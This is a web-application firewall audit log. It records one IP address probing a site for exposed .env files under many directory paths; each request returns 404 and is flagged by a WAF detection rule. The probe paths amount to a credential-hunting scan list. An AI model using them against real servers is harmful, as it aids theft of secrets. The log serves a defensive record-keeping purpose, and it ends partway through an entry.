Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266952230792 122572 (- - -)
Stopwatch2: 1789266952230792 122572; combined=4099, p1=305, p2=3728, p3=0, p4=0, p5=66, sr=161, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b881dd1d-Z--

--34753a7f-A--
[13/Sep/2026:05:35:54.286497 +0300] aqYMCisVWymXUono-eRQswAAABA 34.175.231.24 42580 127.0.0.1 7081
--34753a7f-B--
GET /tmp/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--34753a7f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--34753a7f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/tmp/.env"] [unique_id "aqYMCisVWymXUono-eRQswAAABA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266954124045 162511 (- - -)
Stopwatch2: 1789266954124045 162511; combined=4392, p1=289, p2=3998, p3=0, p4=0, p5=105, sr=114, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--34753a7f-Z--

--8da1695f-A--
[13/Sep/2026:05:35:55.976663 +0300] aqYMCysVWymXUono-eRQtAAAAAE 34.175.231.24 51372 127.0.0.1 7081
--8da1695f-B--
GET /temp/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--8da1695f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--8da1695f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/temp/.env"] [unique_id "aqYMCysVWymXUono-eRQtAAAAAE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266955832309 144408 (- - -)
Stopwatch2: 1789266955832309 144408; combined=4159, p1=204, p2=3900, p3=0, p4=0, p5=55, sr=79, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8da1695f-Z--

--4443147b-A--
[13/Sep/2026:05:35:58.016447 +0300] aqYMDWM7dE9KgIIOpQhdywAAAMc 34.175.231.24 51386 127.0.0.1 7081
--4443147b-B--
GET /lab/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--4443147b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--4443147b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/lab/.env"] [unique_id "aqYMDWM7dE9KgIIOpQhdywAAAMc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266957898815 117702 (- - -)
Stopwatch2: 1789266957898815 117702; combined=4545, p1=304, p2=4180, p3=0, p4=0, p5=61, sr=118, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--4443147b-Z--

--667c792c-A--
[13/Sep/2026:05:35:59.909686 +0300] aqYMD2M7dE9KgIIOpQhdzAAAAMA 34.175.231.24 51400 127.0.0.1 7081
--667c792c-B--
GET /cronlab/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--667c792c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--667c792c-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/cronlab/.env"] [unique_id "aqYMD2M7dE9KgIIOpQhdzAAAAMA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266959783482 126259 (- - -)
Stopwatch2: 1789266959783482 126259; combined=4691, p1=351, p2=4259, p3=0, p4=0, p5=81, sr=157, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--667c792c-Z--

--d8aede7b-A--
[13/Sep/2026:05:36:01.085678 +0300] aqYMEEwu1RSkptiiNIXttwAAAIo 34.175.231.24 51420 127.0.0.1 7081
--d8aede7b-B--
GET /cron/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--d8aede7b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--d8aede7b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/cron/.env"] [unique_id "aqYMEEwu1RSkptiiNIXttwAAAIo"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266960896744 188992 (- - -)
Stopwatch2: 1789266960896744 188992; combined=8114, p1=1608, p2=6421, p3=0, p4=0, p5=85, sr=133, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d8aede7b-Z--

--49a1d979-A--
[13/Sep/2026:05:36:02.902465 +0300] aqYMEkwu1RSkptiiNIXtuAAAAJE 34.175.231.24 51436 127.0.0.1 7081
--49a1d979-B--
GET /en/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--49a1d979-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--49a1d979-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/en/.env"] [unique_id "aqYMEkwu1RSkptiiNIXtuAAAAJE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266962778666 123863 (- - -)
Stopwatch2: 1789266962778666 123863; combined=5097, p1=271, p2=4769, p3=0, p4=0, p5=57, sr=109, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--49a1d979-Z--

--6c723702-A--
[13/Sep/2026:05:36:04.641019 +0300] aqYMFEwu1RSkptiiNIXtuQAAAI8 34.175.231.24 51444 127.0.0.1 7081
--6c723702-B--
GET /administrator/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--6c723702-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--6c723702-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/administrator/.env"] [unique_id "aqYMFEwu1RSkptiiNIXtuQAAAI8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266964513188 127887 (- - -)
Stopwatch2: 1789266964513188 127887; combined=5915, p1=268, p2=5570, p3=0, p4=0, p5=76, sr=119, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6c723702-Z--

--0ed9951c-A--
[13/Sep/2026:05:36:06.351515 +0300] aqYMFjTJ6xTvcJoem7f1jwAAAFE 34.175.231.24 34158 127.0.0.1 7081
--0ed9951c-B--
GET /psnlink/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--0ed9951c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--0ed9951c-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/psnlink/.env"] [unique_id "aqYMFjTJ6xTvcJoem7f1jwAAAFE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266966203242 148361 (- - -)
Stopwatch2: 1789266966203242 148361; combined=4288, p1=251, p2=3958, p3=0, p4=0, p5=79, sr=119, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--0ed9951c-Z--

--fcc18e15-A--
[13/Sep/2026:05:36:07.964897 +0300] aqYMF2M7dE9KgIIOpQhdzQAAAMg 34.175.231.24 34166 127.0.0.1 7081
--fcc18e15-B--
GET /exapi/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--fcc18e15-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--fcc18e15-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/exapi/.env"] [unique_id "aqYMF2M7dE9KgIIOpQhdzQAAAMg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266967844728 120235 (- - -)
Stopwatch2: 1789266967844728 120235; combined=4556, p1=243, p2=4246, p3=0, p4=0, p5=67, sr=103, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--fcc18e15-Z--

--d74e884d-A--
[13/Sep/2026:05:36:09.470899 +0300] aqYMGWM7dE9KgIIOpQhdzgAAAMw 34.175.231.24 34176 127.0.0.1 7081
--d74e884d-B--
GET /sitemaps/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--d74e884d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--d74e884d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/sitemaps/.env"] [unique_id "aqYMGWM7dE9KgIIOpQhdzgAAAMw"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266969348633 122321 (- - -)
Stopwatch2: 1789266969348633 122321; combined=6703, p1=363, p2=6284, p3=0, p4=0, p5=55, sr=173, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d74e884d-Z--

--5d99a165-A--
[13/Sep/2026:05:36:14.549354 +0300] aqYMHisVWymXUono-eRQtgAAAAU 34.175.231.24 34222 127.0.0.1 7081
--5d99a165-B--
GET /logs/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--5d99a165-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--5d99a165-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/logs/.env"] [unique_id "aqYMHisVWymXUono-eRQtgAAAAU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266974435051 114386 (- - -)
Stopwatch2: 1789266974435051 114386; combined=5120, p1=295, p2=4756, p3=0, p4=0, p5=68, sr=142, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5d99a165-Z--

--26031d30-A--
[13/Sep/2026:05:36:15.841163 +0300] aqYMH2M7dE9KgIIOpQhd0gAAAMo 34.175.231.24 53330 127.0.0.1 7081
--26031d30-B--
GET /cache/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--26031d30-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--26031d30-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/cache/.env"] [unique_id "aqYMH2M7dE9KgIIOpQhd0gAAAMo"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266975726682 114538 (- - -)
Stopwatch2: 1789266975726682 114538; combined=4393, p1=245, p2=4084, p3=0, p4=0, p5=64, sr=112, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--26031d30-Z--

--ab367600-A--
[13/Sep/2026:05:36:17.250997 +0300] aqYMISsVWymXUono-eRQtwAAAAQ 34.175.231.24 53334 127.0.0.1 7081
--ab367600-B--
GET /mailer/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--ab367600-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--ab367600-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/mailer/.env"] [unique_id "aqYMISsVWymXUono-eRQtwAAAAQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266977114261 136803 (- - -)
Stopwatch2: 1789266977114261 136803; combined=4654, p1=218, p2=4363, p3=0, p4=0, p5=73, sr=94, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ab367600-Z--

--1eb90b6f-A--
[13/Sep/2026:05:36:19.087889 +0300] aqYMImM7dE9KgIIOpQhd0wAAANU 34.175.231.24 53344 127.0.0.1 7081
--1eb90b6f-B--
GET /mail/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
